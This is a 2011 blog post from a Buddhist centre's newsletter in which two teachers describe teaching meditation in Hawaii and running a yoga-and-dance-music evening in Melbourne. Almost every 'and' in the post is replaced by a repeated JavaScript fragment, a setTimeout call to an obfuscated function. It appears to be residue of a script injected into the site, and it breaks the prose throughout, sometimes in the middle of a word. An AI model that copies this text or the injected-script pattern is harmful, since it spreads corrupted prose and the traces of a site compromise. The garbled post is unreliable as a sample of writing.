On the Road with Claire andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Darin

Tuesday, February 1st, 2011

Now that Mahasukha’s very own Claire andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Darin have maroked, they have taken to the road teaching the Dharma.  Highlights from their journey will be featured regularly in the quarterly newsletter.  To find out their current teaching schedule, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to follow their personal blog once its online, check out http://www.theartsutra.com/.  Until then…

Favorite moments from travelling with the dharma:

Claire:

I loved teaching in Hawaii.  I have been visiting Hawaii for 20 years, I have 4 generations of family living out there, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and over the years it has been a place of magic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and beauty andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and heartbreak andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rest for me.  This time when we visited the Big Islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, where my dad lives, we taught a Meditation Basics class at Hawaiian Sanctuary.  Darin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I had a full 90 minutes of deep lineage advice on meditation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and happiness to pass along, so when it started raining – loud heavy tropical drops on the plastic roof of the screen-walled yoga studio – first we tried shouting over it.  I heard it, listening back to the audio – our little voices strained andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and high-pitched to try to pass on this time-tested wisdom over the roar of the elements.  It didn’t work.  After that, as every 20 minutes or so a heavy raincloud would blow in from the sea, dropping its water into the forest as it rose up the mountain, we would just pause.  A built-in meditation.  It was such a wonderful chance, without being able to plan when, for us all to stop andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and think about what we were saying or hearing, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and why we were here.   It was perfect.

Experience teachings in Hawaii yourself this June with Lama Marut’s Hawaii Retreat: www.HawaiiRetreat.Wordpress.com

Darin:

Wandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andering around a town you barely know looking for the basic necessities for survival at 3am is a common occurrence for any travelling DJ. But in Australia I found myself for the first time wandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andering the sunny andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and deserted streets of post Christmas Melbourne combing the few open shops in Prahran for vases, flowers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sellotape at 3pm. No headphones in handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, no CD’s in the bag, just a folder of notes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a pocket full of crossed fingers hoping that my Facebook outreach to our Yoga andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and music mates in the area had reached the target demographic….those interested in finding out what exactly is happening to them when they reach those ecstatic states on the nightclub dancefloor, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how it can be replicated using the path of Yoga.

After doing a lightning strike on the perpetually open $1 store on Chapel St (2 Glass Vases), Coles Supermarket (Flowers & water), andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 7-11 (sellotape) I had enough to set up the space with the lineage feel (note to self… where’s the snacks?), andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and spent an amazing evening with 20 or so of the most incredible andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sweet people. Music people who love what they know to be a path but don’t know why it works the way it does, Yoga andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Dharma practitioners who love music andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and came to share with andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and teach me, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and some that were deeply into both. It was so cool to see our a-ha moments (more mine than theirs I think) collide andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and illuminate each others past experiences of the dance floor.  To connect with those who practice deep into the often ill-reputed world of  Dance Music culture andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and use it to fuel lives dedicated to helping others. To have the opportunity to connect some of Lama Marut’s students was an added bonus I hadn’t planned on andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rounded of the whole evening perfectly. (Thank you to Maree F for everything!).

We would not be able to experience any of this if it were not for the precious teachings poured into us by our Lamas – Thank you, thank you!

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